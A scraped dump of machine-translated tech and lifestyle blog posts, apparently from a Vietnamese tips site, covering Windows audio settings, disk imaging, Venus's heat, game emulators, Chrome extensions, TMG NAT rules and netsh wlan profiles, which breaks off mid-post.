. Here you will see Enhance audio option . If it is off (Off) , you can flip the switch to turn it on (On).\n  So you have enabled the Enhance Audio feature for your Windows 11 computer already. According to comments by Windows 11 users on forums like Reddit, the Enhance Audio feature will significantly improve sound quality, especially when using headphones. Of course, if you don't like to use it, you can completely turn this feature off.\nGood luck!\nwindows 11 ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmruirsueZJ6mmJa7pLGMmqydoZ9iwbB5yKanq6emmnq0u9Snm2appZa5qsDYZqanZaeeu6W71qxkamk%3D\n","link":"/post/steps-to-enable-enhance-audio-to-improve-sound-quality-on-windows-11/","section":"post","tags":null,"title":"Steps to enable Enhance Audio to improve sound quality on Windows 11"},{"body":"Microsoft's official Surface Diagnostic Toolkit - the Surface Diagnostic Toolkit is now available in the Windows Store. Previously, this application was available as a Win32 application for older Surface devices, but now, Microsoft's new Surface computers cannot install Win32 applications from outside the Windows Store, it will release right in this store. Users with Surface laptops running Windows 10 S can now download and use the Surface Diagnostic Toolkit to find essential information about their devices such as battery problems and fix some common problems. Best.\n  With a variety of functions, the Surface Diagnostic Toolkit will guide you how to fix software and hardware diagnostics to discover and solve problems you are having on your device quickly and efficiently. You can use this application to check battery status, search device information, handle common software problems and more.\nMicrosoft still recommends that Windows 10 Pro users and other versions of Windows 10 use the Surface Diagnostic Toolkit classic by downloading here. However, if you are using Surface running Windows 10 S, you can download new applications from this Windows Store.\nncG1vNJzZmismaXArq3KnmWcp51kwLa%2BxZqanmWclr21u89mn5qqlKyus7GMrZysrJmjtG7AzqijZqGjYruww4yarZqhnJavrbGMoqVmr5mjsbDD0maqraeimg%3D%3D\n","link":"/post/surface-laptop-hardware-testing-tool-is-now-available-in-windows-store/","section":"post","tags":null,"title":"Surface laptop hardware testing tool is now available in Windows Store"},{"body":"The botanical world always hides mysteries that cannot be discovered until now. One of them is the strange faces that appear randomly on the trunk as a pre-arranged accidental. Thanks to those faces, the stems become more alive and soulful than ever.\n7 species of plants have special abilities like humans 10 exotic tree species hold the world record Mango trees are 1m high with 800 fruits in Japan   1. Mr. Lozarithm caught the face of an owl appearing on an ancient tree while visiting Stourton village in Staffordshire county, England.\n  2. When going to the cemetery of Chanterlands, Hull City, Yorkshire County, England to receive the ashes of a close friend, Mr. Bodb Carter was surprised to see a face-shaped willow who was crying.This willow tree has an overhang that forms the shape of a living nose and a lifelike hole.\n  3. The roots of the trees are intertwined with strange shapes that many people associate with images of dragons trapped in ancient trees.\n  4. The unseen face that lies across the tree's trunk makes many people feel scared when they see it for the first time.\n  5. Smiling face.\n  6. Faceless came out from the movie.\n  7. 'Mr. god tree' with a gentle smile that makes the children go through and want to hug once.\n  8. The demonic face of tree roots startled many people in a panic.\n  9. The trunk of this walnut has an odd shape.Each person can imagine a different animal.What kind of picture do you see?\n  10. Is it the same alien that we often see on movies?\n  11. When looking at this tree, it is easy to associate with the face of the screaming person.\n  12. The grainy tree looks like the miserable face of an old man.\n  13. Under an angle of view, this trunk is like laughing at someone.\n  14. Is the Water King King 'entering' this tree?\n  15. Here is a collection of gossip ladies!\n  16. Do you see this face of Lord Voldemort or ninja turtle?\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKawrKyVp8Zuu8Vmq6GdXZy1sL%2FTpbBmnpGYsrR506GYrWWYlr2xsc2em2asn2KusbzEmqlmp55iwamxjK2pnp1dqb%2B2usqsZKyskafBrbHDZqSapqlivaa7z6Wc\n","link":"/post/the-mystery-of-the-ghostly-faces-that-happened-to-appear-on-the-tree-trunks-startled-many-people/","section":"post","tags":null,"title":"The mystery of the ghostly faces that happened to appear on the tree trunks startled many people"},{"body":"Anemia during pregnancy is a common phenomenon. In addition to iron supplements to help with blood supply, a reasonable diet with natural foods is also an effective solution to improve this condition. So what do pregnant mothers need to eat? With Quantrimang go find an answer!\n  What signs do pregnant women suffer from anemia? Here are some signs that an pregnant woman is anemic:\nThe body is tired, pale, pale Often nervous, chest pain Headache Short breath Fast pulse Feeling numb or cold in the limbs Low body temperature Uncomfortable. Anemia when pregnant if not detected in time will be very dangerous, seriously affecting the health of the mother and baby. Anemia can also lead to a risk of premature birth, causing children to be retarded. Therefore, during pregnancy, pregnant mothers should be very wary if these signs occur.\nHowever, in order to understand whether or not they actually have anemia, pregnant mothers should regularly seek regular checkups and necessary tests to understand their health status.\nWhat should pregnant pregnant women eat? There are many ways to deal with anemia during pregnancy and the following diet with blood-fortified foods will be a great suggestion for anemic pregnant women.\n1. Pumpkin\nPumpkin is a fruit that contains a lot of protein, vitamins, calcium, iron . this is a fruit that is considered to be extremely good for pregnant women. When buying, you should pay attention to choose ripe pumpkins because the content of iron, calcium, and zinc will be more.\n  2. Types of dried nuts\nWith abundant iron resources, nuts such as walnuts, sunflower, pumpkin seeds . are always in the top of food for pregnant women. In addition to snacking, mothers can also take advantage of them to prepare some very tasty and nutritious dishes.\n  3. Spinach spinach\nDid you know, half of a bowl of cooked spinach contains up to 3.2mg of iron and many other beneficial nutrients such as: Beta-carotene, vitamin C, calcium, fic acid.\n  4. Beef\nWhen it comes to the problem of pregnant women needing to eat, many people will think of beef. This is a gold supplement that helps iron during pregnancy because every 85mg of meat will give you up to 2.1mg of iron. Even without anemia, many mothers still choose beef for their daily menu.\n  5. Ripe bananas\nThis is a very easy to find and familiar fruit. Eating a banana at every breakfast will help your mother prevent anemia during pregnancy, and also reduce constipation symptoms.\n  6. Animal liver\nAnimal liver types such as pig liver, foie gras, chicken liver . are excellent blood tonic foods. For example, 100 grams of chicken liver to 9 mg of iron is good for anemic pregnant women. However, it is important to pay attention to eating at moderate levels, not to eat regularly and to make sure they are supplied from healthy animals!\n  7. Chicken egg yolk\nIn egg yolk, chicken contains a lot of nutrients such as water soluble vitamins (B1, B6) and oil-soluble vitamins (Vitamins A, D, K) that are good for pregnant women. In addition, chicken egg yolk also helps supplement large amounts of iron to help pregnant mothers improve anemia.\nBesides, according to some points of view, eating chicken eggs during pregnancy also helps babies born with beautiful white skin, so do not ignore this food.\n  8. Salmon\nThe use of salmon during pregnancy not only helps mothers to limit anemia, but also contains omega-3 which plays a very important role in fetal development.\n  9. Broccoli\nBroccoli is known to be a golden food for pregnant women. In broccoli contains a lot of folic acid to help reduce the risk of malformations to the fetus. Besides, broccoli also provides many nutrients, including iron, which greatly helps the fetal membrane process.\n  10. Chicken breast\nChicken breast is the most iron-rich part of the chicken's body. Every 100 grams of chicken breast will contain about 0.7mg of iron. Chicken breast is also chosen by many women because it does not cause weight gain, which helps to stabilize the weight during pregnancy.\n  Things to note when pregnant women are anemic These foods are all iron-rich foods, suitable for anemic pregnant women. However, with many unsafe ways of processing, iron content will not be absorbed as much as possible. The pregnant mothers need to consider to combine with functional foods, iron tablets to bring the highest efficiency. When anemia occurs during pregnancy, mothers should limit foods containing Oxalate because they interfere with iron absorption. Some foods contain Oxaleta such as Chocolate, kale, parsley . Foods containing Tannin such as beer, coffee, apple . should also be limited because they also inhibit the absorption of iron. Absolutely do not drink calcium at the same time when using iron-rich foods. Should be used about 3-4 hours apart to ensure iron absorption process is most convenient. Periodical examination and examination is required to monitor anemia to avoid iron overload, which also causes adverse effects for mother and baby. What should pregnant pregnant women eat? With the top food on, the moms already have a list of foods to supplement. If you need to use iron supplements, please contact us at the hotline number below:\nIn Hanoi: 024.3568.6969 or in HCMC: 028.3833.3366\n\u0026gt;\u0026gt;\u0026gt; See more:\nHow to take iron supplements correctly to best absorb The list of foods that contain the most iron is easy to find ncG1vNJzZmismaXArq3KnmWcp51kwamxjKmpnp%2Belru1edaopJqmXZ7Abq3NnqSim12Wu6V50qGmrqSUYrKiwIywnKWkXZu8s3nHnqlmpZ%2Bptaa%2BjJqlnWWSlq%2B6\n","link":"/post/the-pregnant-woman-is-anemic-and-should-eat-well-for-her-mother-and-baby/","section":"post","tags":null,"title":"The pregnant woman is anemic and should eat well for her mother and baby"},{"body":"You often hear about computer ghost, ghost win. So what is ghost? How does Ghost work? Let's find out in this article.\nHow ghost hard drive in Windows 10 with EaseUS How to create a multi-configured ghost for Win 7 with SPAT Norton Ghost integration on Hiren's Boot disk 13.x What is Ghost? Ghost is often referred to as cloning, is a software-based process of copying data, copying the contents of a computer's hard drive into a compressed file or collection of files called images. Ghost copies all content to another server or hard drive for storage, including configuration and application information. The software also converts an image back to its original form when needed. On a personal computer, ghost is used to back up everything on the hard disk, usually while reinstalling the operating system.\n  The purpose of ghost is to allow this system to be copied to another system or to allow rapid system recovery. Ghost is often used to quickly set up notebooks, laptops or servers. It allows to move from one drive or computer to another drive or computer such as from a HDD to an SSD.\nHow the ghost works Ghost often creates a disk image of software on a computer, including settings and system information. This image allows quick installation of a new copy, usually compressed to save space and speed up the transfer to the target system and it can be encrypted for security. Typical cloning settings have some alternative images in the library.\nGhost tools can create hundreds of computers exactly like copies. When the main machine is built, its hard disk gets image into a file. This image file will then be used on all other computers, following the custom process on each machine to install the operating system.\nPros and cons of ghost Ghost is much faster than installing individual machines, especially if multiple applications are installed.\nThere are many different types of ghosts depending on the intended use. For example, a data center that supports multiple mobile devices and desktops will need a tool that focuses on updating the phone in bulk and its own recovery. Cloud clusters can only use image tools that are part of cloud software. Setting up high-performance computing using ghost to create images for hundreds or thousands of servers.\nGhost can save you hours of setup compared to program loading from the beginning and help reduce errors in this process.\nHowever, the ghost does not help in the update process. When the new image replaces the operating system on the destination computer, local user data and custom settings will be lost.\nImage is tied to a hardware platform. If there are many different target systems, creating and managing images will be difficult.\nSupport is also a problem. For example, Microsoft does not support image-based replication for installed Windows systems.\nThe history of ghost New Zealand businessman Murray Haszard developed ghost, an acronym for General Hardware-Oriented System Transfer in the mid-1990s. Symantec Corp bought the drive copying technology. This disc and backup in 1998 and integrated it into their Norton product line, today called Symantec Ghost Solution Suite.\nAt that time, ghost is the only easy product that can create an image of the entire hard drive. Ghost can save the image as a file on another drive or transfer the image to another hard drive, making the new drive the exact copy of the old drive.\nExamples of ghost software and alternatives Symantec Ghost Solution Suite 3.2, released in 2017, has the ability to create and deploy drive images; Support Windows, Apple and Linux; a reasonable, free database option for small environments; and support XFS file system.\nAlternatives to Symantec Ghost software include:\nAcronis True Image, targeting the Windows market; Open source tools like Clonezilla, dd and Partimage; EaseUS Todo Backup; StorageCraft storage drive image tool; and NetApp for fast image distribution. In addition, OpenStack cloud software and large cloud service providers maintain image replication tools and libraries. Cloud image tools perform a similar function in the cloud cluster, but are limited to specific cloud types.\nMicrosoft and Apple provide tools for creating copies that blend the image manager and the ghost tool.\nSmartDeploy takes a different approach, cloning to a virtual machine that it creates on the target system, allowing the ghost process to be platform independent.\nGhost and disaster recovery solution (disaster recovery) Using images can be downloaded for all or part of the relevant data making data recovery after disaster easier. For example, restoring a failed PC to a new PC usually involves downloading an image containing an operating system with settings and images containing a user application. The same is true for the server, but the network and security settings will be added.\nThe ghost utility determines how often data is added to the image. Proper use of networked storage as a replication point for current data can limit data loss.\nCompared to ghost and disk cloning   Disk cloning is the process of copying the contents of a computer hard drive. These contents are usually saved as disk image files and transferred to storage media such as other computer hard drives.\nDisk cloning is used to restore the system such as booting and refreshing the public computer and to recreate the system configuration on the new computer. This term can be used instead of ghost.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWXnby0wA%3D%3D\n","link":"/post/what-is-ghost/","section":"post","tags":null,"title":"What is Ghost?"},{"body":" Did you know: Mars, Venus has rotten egg smell and the Moon smells of gunpowder 40 interesting facts you didn't know about the Sun. The interesting fact about the universe is not quite the same as what we thought Venus or Venus is the hottest planet in the solar system because the planet is covered by thick clouds containing carbon dioxide and other gases, which prevents heat from the Sun from escaping to outer space. That's why the second planet after Mercury absorbs heat from the Sun becomes hotter.\n Venus - the hottest planet in the solar system.\nThe planetary chain revolves around the Sun in our solar system, Mercury is the planet closest to the Sun. Next to Venus and the third place is planet Earth - where we humans live.\nToday, when applied in normal logic it seems that any planet near the Sun will suffer the largest temperature from the Sun and become the hottest right? However, interestingly, that logic is not applicable in this case.\nRight! Although located in the closest position to the Sun, Mercury is not the hottest planet in the solar system . but why?\n  Things to know about Venus Venus is the second planet from the Sun and is adjacent to our planet Earth. According to volume and size, Venus is similar to the planet Earth, sometimes Venus is also known as \" twin planet \" or \" sister planet \" with Earth.\nVenus is classified as a terrestrial planet. Venus is surrounded by highly reflective thick clouds containing sulfuric acid and makes it impossible to observe its surface under visible light wavelengths. The air density in Venus's atmosphere is the largest of the four rocky planets, the main component being carbon dioxide.\n The size of Venus and the Earth is nearly the same.\nWith a diameter of 12,014 km (7,465 miles ), Venus is only slightly smaller than our planet Earth and its mass equals 81.5% of Earth's mass. Venus does not have any natural satellites or rings, rotating from east to west, meaning in the opposite direction to most other planets.\nEvery planet in the solar system orbits in an anti-clockwise direction when viewed from the north pole of the Sun Most planets rotate around its axis in a counter-clockwise direction, but Venus rotates around the same clockwise clock ( called the inverse circumference ) with a 243-day Earth period - acceleration the slowest rotation of any planet in the solar system.\nInternal structure About 80% of Venus's surface is covered by flat volcanic plains, the planet also consists of two large continents - Ishtar Terra ( the northern hemisphere ) and Aphrodite Terra (the continent is right there) south equator planet ). The surface of Venus is relatively \" smooth \" than the surface of Mercury and Mars, the planet has a surface corresponding to the impact craters. However, it is particularly difficult to observe Venus with the naked eye due to thick gas clouds covering it from the viewers' view from a distance away.\n Venus.Photo source: Tristan3D / Shutterstock\nBecause of the similarities in diameter and mass to planet Earth, astronomers believe that Venus's internal structure is similar to the planet Earth: including the central iron core, stone coating and shell ( like our planet ), but its magnetic field is weaker than Earth.\nThe surface of Venus Venus's surface is constantly wavered by fierce volcanic eruptions. At present, cosmologists know nearly 1,600 volcanoes on Venus's surface, but in fact, there may be more simply because we humans are too small to be observed by Using existing technology and equipment. Moreover, the thick coating covered by thick clouds ( forming sulfuric acid ) spreads across the entire planet making it difficult for scientists to observe.\nNow, come to the problem raised in the first part of the article - Venus's incredible heat! The temperature on Venus can reach 470 degrees C ( 870 degrees F )! This temperature is high enough to easily melt lead on the planet's surface.\nWhy is Kim so hot?   The maximum temperature of Venus can be created by its thick atmosphere. In fact, Venus has a very thick atmosphere, containing mostly CO2 and a small amount of N2. If you stay there, you will feel that the volume of atmosphere is about 93 times higher than that of Earth's atmosphere - this atmospheric pressure is equivalent to a depth of almost 1 kilometer from the ocean surface on the Earth. Land.\nThe CO2-rich atmosphere, together with the thick SO2 cloud, produces the strongest greenhouse effect in planets in the solar system, with a surface temperature of at least 462 ° C, making the surface of Venus hot. more than Mercury, with a minimum surface temperature −220 ° C and a maximum of 420 ° C. Greenhouse gases include methane, nitrous oxide, fluoric gases ( such as hydrofluorocarbons, perfluorocarbons, sulfur hexafluoride and nitrogen trifluoride ).\nEven if the distance from Venus to the Sun is almost twice the distance from that to Mercury, the planet only receives about 25% of the solar radiation energy compared to the energy Mercury receives. Many people often describe the surface of Kim as a hot hell . This temperature is even higher than the required temperature in some sterilization processes.\n Some industries produce many greenhouse gases, which is the cause of great concern for people.Image source: Pixabay\nBecause Venus's atmosphere consists mainly of carbon dioxide, heat from the Sun is difficult to escape from Venus's surface. Sunlight passes through the thick coating of carbon dioxide clouds and warms rocks on the surface of Venus.\nHowever, the \" bulky \" atmosphere, rich in carbon dioxide, blocks infrared heat from these rocks to escape the planet, increasing Venus's temperature and making it the hottest planet in the system. Sun.\nIn contrast, Mercury, the planet closest to the Sun but not the hottest because it has no atmosphere to retain the Sun's heat. That heat has been \" burned \" for a long time. Therefore, although Mercury is most heavily influenced by hot temperatures from the Sun, due to the absence of the atmosphere, heat spills into space, making it the second hot planet in the solar system.\nSee also: How far is the distance from Earth to Mercury?\n  Venus reaches the maximum brightness right next to the sunset or dawn when viewed from Earth, so our folk are also called Homeland, when the planet grows at sunset and Morning Star , when the planet This grows at dawn.\nIn addition, Venus is also the brightest planet of the solar system when viewed from Earth. The special brightness of Venus is thought to be due to dense clouds, reflecting gas and sulfuric acid, allowing light rays to easily escape from them.\nSee also: What \"horrible\" thing will happen if the Earth suddenly stops spinning?\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKysq56RmLJuu8VmrZ6mpah6uLTYZqCsZaaau7a%2FjK2fnmWYpMG1sdKtZKmkkaOytXnIp2StoJViwLC4wKtkrLGjqbKu\n","link":"/post/why-is-venus-the-hottest-planet-in-the-solar-system/","section":"post","tags":null,"title":"Why is Venus the hottest planet in the solar system?"},{"body":"The emulator is 100% legal, just like torrenting, it's also a client download. Emulators are no different from other programs you can download like word processing software or music players. However, downloading and uploading ROMs is illegal, so make sure you use your own game files. You are only allowed to use the emulator provided you have a legal copy of the game, be it soft copy or CD format.\nThese emulators work pretty well. However, if you have a mid-range computer, you may experience some lag when playing continuously. These emulators also come with control handle mappings. All games work on keyboard and mouse, ideal for those with lots of old Playstation discs. Of course, things can change depending on the game you're playing.\n1. RetroArch   RetroArch is a modular multi-system emulator designed to be fast, lightweight and portable. RetroArch has features not found in some emulator frontends, such as real-time rewind and Game-Aware Shading. RetroArch lets you run classic games on a variety of computers and consoles through its smooth graphical interface. The settings are also unified so that the configuration only needs to be done once.\nAlternatively, you can play the original game disc (CD) from RetroArch. RetroArch has advanced features like shaders, netplay, rewind, next frame response time, runahead, machine translation, accessibility features, etc.\nRetroArch can work on the following systems:\nArcade (Final Burn Alpha/iMAME4All/MAME emulator) Atari 2600 (Stellar emulator) Atari Lynx (Handy emulator) Nintendo Entertainment System - NES (FCEUmm/NEStopia/QuickNES emulator) Super Nintendo (bSNES/Higan/PocketSNES/SNES9x/SNES9x Next emulator) Nintendo 64 (Mupen64Plus emulator) Nintendo GameBoy/GameBoy Color (gambatte emulator) Nintendo GameBoy Advance (Mednafen GBA/Meteor/VBA-M/VBA Next emulator) Nintendo DS (DeSmuME emulator) Nintendo Virtual Boy (Mednafen VB emulator) Neo Geo Pocket Color (Mednafen NGP emulator) Sega Genesis/Mega Drive (Genesis Plus GX/Picodrive emulator) Sega Master System/Sega Game Gear (Genesis Plus GX emulator) Sega CD/Mega CD (Genesis Plus GX/Picodrive emulator) Sega 32X (Picodrive emulator) Sony PlayStation 1 (PCSX ReARMed/Mednafen PSX emulator) PC Engine/PC Engine CD (Mednafen PCE Fast emulator) WonderSwan Color/Crystal (Mednafen Wonderswan emulator) Cave Story (game engine: NX Engine) Doom 1/Doom 2/Ultimate Doom/Final Doom (game engine: prBoom) Quake (game engine: TyrQuake) ScummVM (game engine) [in progress] MS-DOS (DosBox emulator) [in progress] Nintendo 64 (Mupen64 emulator on ARM) [in progress] Nintendo Entertainment System - NES (QuickNES emulator) [in progress] Sega Saturn (Yabause emulator) [in progress] 2. DuckStation   DuckStation is an emulator/emulator of the Sony PlayStation(TM) console, focused on playability, speed, and long-term maintainability. The goal is to be as precise as possible while maintaining performance consistent with low-end devices. The 'hack' options are discouraged, the default configuration only supports all playable games with some improvements that have compatibility issues.\n'BIOS' ROM image is required to start the emulator and play the game. You can use images from any hardware version or region, although a game region and BIOS region mismatch can cause compatibility issues. Image ROM is not provided with the emulator for legal reasons, you should render this image from your own console using Caetla or other means. Other features include:\nCPU /JIT Compiler (x86-64, armv7/AArch32 and AArch64) Hardware (D3D11, D3D12, OpenGL, Vulkan) and software rendering Upscaling, texture filtering, and true color (24-bit) in hardware renderers PGXP for geometry accuracy, texture correction, and depth buffer simulation Supports image bin/cue, bin/img raw files, MAME CHD, 1-track ECM, MDS/MDF and unencrypted PBP formats. Directly booting homebrew executables Direct loading of Portable Sound Format (psf) files Digital and analog controller for input (rumble is forwarded to host) Namco GunCon pistol support (mouse simulation) NeGcon Support 3. OpenEmu   Open Emu is an open-source project to bring emulators to OS X, leveraging modern OS X technologies like Cocoa, Core Animation, and Quartz, and 3rd-party libraries like Sparkle for automatic updates. . OpenEmu is based on a modular, game-engine plugin-enabled architecture, which means OpenEmu can support a wide range of different backends and emulator engines while retaining the native OS X user interface. familiar.\nOpenEmu is modular and thanks to the work of other great open source projects, it can emulate many different video game systems (called 'cores'). OpenEmu emulates the following systems:\nAtari 2600, 5200, 7800 and Lynx ColecoVision Famicom Disk System - Famicom Disk System Game Boy, Game Boy Color and Game Boy Advance Game Gear Intellivision NeoGeo Pocket Nintendo (NES)/Famicom Nintendo 64 Nintendo DS Nintendo GameCube Odyssey²/Videopac+ PC-FX SG-1000 Sega 32X Sega CD/Mega CD Sega Genesis/Mega Drive Sega Master System Sega Saturn Sony PlayStation Sony PSP Super Nintendo (SNES) TurboGrafx-16/PC Engine/SuperGrafx TurboGrafx-CD/PC Engine CD Vectrex Virtual Boy WonderSwan 4. Dolphin Emulator   Dolphin is an emulator for two recent Nintendo video game consoles: the GameCube and the Wii. It allows PC gamers to enjoy these two console games in full HD (1080p) with several enhancements: Compatibility with all PC gamepads, turbo speed, mode networked multiplayer, etc…\ngame emulator ncG1vNJzZmismaXArq3KnmWcp51kgW6y0Z6cZqegmrtuv86uqZydXZyurrGMnqSupJGpvLO%2FjJ%2Bmq2Wnnrulu9asZKmbXaG2r8HXZpinnF2irqS70g%3D%3D\n","link":"/post/4-free-open-source-game-emulators-for-windows-pc-linux-and-macos/","section":"post","tags":null,"title":"4 free open source game emulators for Windows PC, Linux and macOS"},{"body":"If you are a web designer, what software do you have to have on your computer? Probably it is Photoshop or Illustrator. But they are only essential elements in the design process. There are also smaller tools that you don't know yourself will need. Those are Chrome extensions (no download is required, only installation is complete). Chrome extensions dedicated to this web design will make life easier.\nTop 7 Chrome extension for web design 1. Dropbox for Gmail 2. FontFace Ninja 3. ColorPick Eyedropper 4. Dimensions 5. Visual Inspector 6. Easy Screen Capture 7. Muzli 2 1. Dropbox for Gmail   Dropbox started as a file hosting service, but soon found out that its main audience is designers. They use this service to share their work with colleagues. Since design files are often too large to attach to emails, it is easier to send recipients a Dropbox link to the file.\nDropbox for Gmail makes this process more convenient. When linking to your file with the Dropbox button at the bottom of the new email window, the recipient will see what you have sent. Linking to the image file will upload the image right into the email and link to other file types will create a handy preview.\nInstall Dropbox for Gmail.\n2. FontFace Ninja   With thousands of fonts available, your typography capabilities (the art of placing and matching words in design and print) will be endless. What if you see a beautiful font somewhere and want to 'borrow' it to make your own work?\nFontFace Ninja - a Chrome extension - will help you do that. Like font search tools from images, FontFace Ninja helps identify the fonts users see online. The only difference is that FontFace Ninja reads encoded fonts into the page's CSS, like the style of the title and the text in the content.\nWhen you start FontFace Ninja, information about the font will be displayed not just the font. To bookmark that font, users will need an account at Fontfacedojo.com service\nInstall FontFace Ninja.\n3. ColorPick Eyedropper   No matter how sensitive your eyes are to color, it's hard to reproduce a specific color that you've seen somewhere online, unless its RGB or HTML values ​​are known. Fortunately, ColorPick Eyedropper will be ready to assist you.\nColorPick Eyedropper will display values ​​for any color you point to. This tool is always available in the browser and does not have to upload anything. Just click on the icon and move the target to the right position.\nThis extension will read colors from text, images, and almost anything you can see on the web (even ads). Once you have selected a color, ColorPick Eyedropper will display the HTML, RGB and HSL values ​​of that color.\nInstall ColorPick Eyedropper.\n4. Dimensions   This open source extension is a great help tool for web designers. When the customer gives you a website without any previous files or documents, then asks you to design a page similar to that, but with other text and image content, finding The layout is a 'difficult' task.\nDimensions allows designers to easily measure the height and width of any element on the page, making it easy to reconstruct existing pages and re-check designs.\nInstall Dimensions.\n5. Visual Inspector   Visual Inspector is a powerful collaboration and feedback tool for design teams, combining the strengths of the previous three extensions and adding more features.\nIn the Inspect tab , users can select any element on the page and get complete information about it, from size to file name. Colors tabs and Typography allow viewing palettes and all fonts at a glance, and Assets tab gathers all images on the page in one place.\nCollaborate tab is where users can give feedback and discuss with their group. Reviewing comments is also easy by clicking on any element on the page.\nLike most advanced tools, Visual Inspector is not free. You will pay from $ 9 (VND 207,000 / user / month to add comments and synchronize changes. However, basic features like color checking, fonts and images, can be used free use.\nInstall Visual Inspector.\n6. Easy Screen Capture   A screen capture extension seems redundant, because screen capture is easy. But the Easy Screen Capture utility has quite a few special points worth considering.\nMost importantly, it allows capturing the entire web page, not just the area visible on the screen. This will be useful when you need to report some issues on a long page and users will have to capture many images to cover all the content you want to convey.\nAnother tip is to be able to copy screenshots to clipboard and paste right into a chat or email, instead of having to store useless image files on the computer.\nInstall Easy Screen Capture.\n7. Muzli 2   InVision's Muzli 2 acts as the morning newspaper, combining selected articles on art, design, UX and technology.\nMuzli replaces the default Chrome tab and allows users to customize what they see. Depending on user preferences, Muzli will choose the right feeds!\nMuzli also has a Lite version. This version does not overwrite the default tab and you can access the feed whenever desired just by clicking on the extension icon.\nInstall Muzli 2.\nAbove are the appropriate Chrome extensions for web designers that TipsMake.com would recommend to readers.\nWish you have useful tools!\nncG1vNJzZmismaXArq3KnmWcp51khG6vx6umpp1dmsW1sc2soKimo2KzsL6MsJybZZSawKqzzZ6prA%3D%3D\n","link":"/post/7-chrome-extensions-for-web-designers/","section":"post","tags":null,"title":"7 Chrome extensions for web designers"},{"body":"In this tutorial we will show you how to configure a one-to-one NAT Rule for internal hosts.\nMicrosoft Forefront Threat Management Gateway (TMG) 2010 has a lot of advanced features like URL filtering, malicious code protection, Network Inspection System (NIS), HTTPS inspections, and ISP attention. However, below these features there are many other important features as well, one of which needs to be introduced is Enhanced NAT (E-NAT).\nOne-to-One NAT configuration\nE-NAT allows you to forward multiple -to-one or one-to-one IP addresses , such as some existing firewalls (Cisco, Checkpoint, .). However, configuring one-to-one NAT in TMG is not simple. If you are familiar with working with Cisco firewalls and Checkpoint, you will definitely want a NAT rule tab in the TMG management interface and the Networking node . However, the problem is that these are really not here.\nIn TMG, you create a one-to-one NAT Rule by creating a Network Rule . Suppose we want to forward all traffic coming from an internal host to an IP address assigned to the external network interface of the TMG firewall (not the default IP address for the interface). To do so, open the TMG console and select the Networking button in the navigation menu. Select the Network Rules tab in the central control window, then click Create a Network Rule in the Tasks panel. Name the description for the Rule and select Next .\n  Figure 1\nSpecify the source of the traffic you want to forward. In this example, we selected a separate server, but you can select networks, a set of networks, a set of computers, a range of addresses, and subnets. This allows us to have high flexibility when establishing NAT relationships in TMG.\n  Figure 2\nSpecify the destination that you want to apply this rule to. In our example, we chose a network outside of External because we want to forward traffic sent from the server using this rule. Here you can choose from a variety of options, which also allow you to have fairly fine-grained control over address forwarding.\n  Figure 3\nSelect the option Network Address Translation (NAT).\n  Figure 4\nSelect the Use the specified IP address option and select the IP address from the available list.\nNote:\nThese IP addresses must be assigned to the network interface first to create the rule, otherwise they will not appear in this list.\n  Figure 5\nYou can also choose the Use multiple IP addresses option , which allows you to select additional IP addresses for the rule (which makes it useful for business arrays when NLB is not enabled).\n  Figure 6\n  Figure 7\nAnother important thing you need to know is network rules, like firewall policy rules, they are processed in order. To work properly, more specific rules need to precede other rules. In the example in the article, the specific rule here is defining a NAT relationship between the entire network inside Internal (with the host being one of the members) and the network outside External. After the wizard is complete and before applying the configuration, make sure that this new network rule must appear before the Internet Access rule.\n  Figure 8\nOnce configured, the traffic generated from the mail.celestix.net host intended for the network outside the External will match rule number 3, in this rule the network relationship is intended to be NAT, the NAT address is The definition is obviously 10.0.0.2\nE-NAT and ISP backup\nWhen the -NAT configuration on the TMG firewall is configured to use a backup ISP (ISP-R), address forwarding may work unexpectedly. When configured, E-NAT rules take precedence and override routing decisions created by ISP-R. Be sure to have a careful plan when implementing both of these techniques.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYryvsdOopqedXaOutXnWoquhZaSitG5%2Bj2pn\n","link":"/post/configure-one-to-one-nat-with-tmg-2010/","section":"post","tags":null,"title":"Configure One-to-One NAT with TMG 2010"},{"body":"David Davis\nSurely one thing that you absolutely can configure wireless networking in Windows Vista using GUI but it's not always simple for most people. How to configure wirelessly from a command line utility? Let's find out why some people want to do this through the command line, and how to do it. \n Why use the command line utility to configure the wireless connection? One of you may initially wonder why it is necessary to do this and it is also a logical question. Some testify to the reason behind this issue listed as follows. • Use CLI when there is no GUI available - You never know when you will need to configure something (like a wireless network) from the command line because there is no GUI. This problem may occur for a number of reasons. With the commands introduced in this article, you will be carefully prepared. • Use CLI when scripting . It is possible that someday (it may be right now) when you need to write a script to connect to a wireless network. If you create that script, you need to know all the netsh wlan commands needed to perform this task within the script. For example, you can configure the wireless connection in a certain login scenario. • Because of its faster speed - Some network administrators might call it 'command line addiction' and we think it's also suitable for doing more tasks on the GUI. In fact, for users of command line utilities that are too familiar, it is possible to do many things in CLI faster than in the GUI. What does Netsh WLAN offer? The netsh wlan script set is only available in Windows Vista (not available in XP, 2003, or 2008 Server). So what can you do with these commands? This is a list:\nConfigure wireless security settings for this laptop or Windows computer.\n Configure a wireless connection and network settings for this Windows laptop or computer. For example, you can configure a laptop when you log in, to connect, to secure your company's wireless network.\n See the wireless group policy settings that have been applied to this Windows computer.\n Connect with 'mixed mode' networks, you can connect to both WPA or WPA2 wireless networks.\n Hide wireless networks from users - with netsh wlan, you can hide or prevent users from connecting to unwanted or potentially malicious wireless networks.\n With that, let's see how it works .\nCreate a profile and connect to Wireless LAN using netsh wlan Now that we have some uses that are possible with netsh wlan, the article will continue to show you how to use commands to perform a certain task on a real Windows Vista computer. To see all the options for netsh wlan, just type netsh wlan without any other options.\n  Figure 1: Netsh WLAN options\nTo connect real, the first thing you need to do is create a profile. To pretend that a profile has worked, you need to create a saved XML file. On a Vista computer that already has a working wireless network, you need to run the following command:\nnetsh wlan export profile name = \"BOW\" folder = C: UsersDavidwlan interface = \"Wireless Network Connection\"\nThis command will create a file named:\nWireless Network Connection-BOW.xml\n In the folder C: UsersDavidwlan\n   Figure 2: An example of exporting Netsh wlan\nYou then need to import this file into the system you want to add the profile to and connect to the wireless network.\nTo create a profile to connect to a WLAN on a new computer, you need to do:\nC: UsersDavidwlan\u0026gt; netsh wlan add profile filename = \"Wireless Network Connection-BOW.xml\"\n(assuming that the directory has been changed to 'wlan')\n  Figure 3: Adding a new profile with 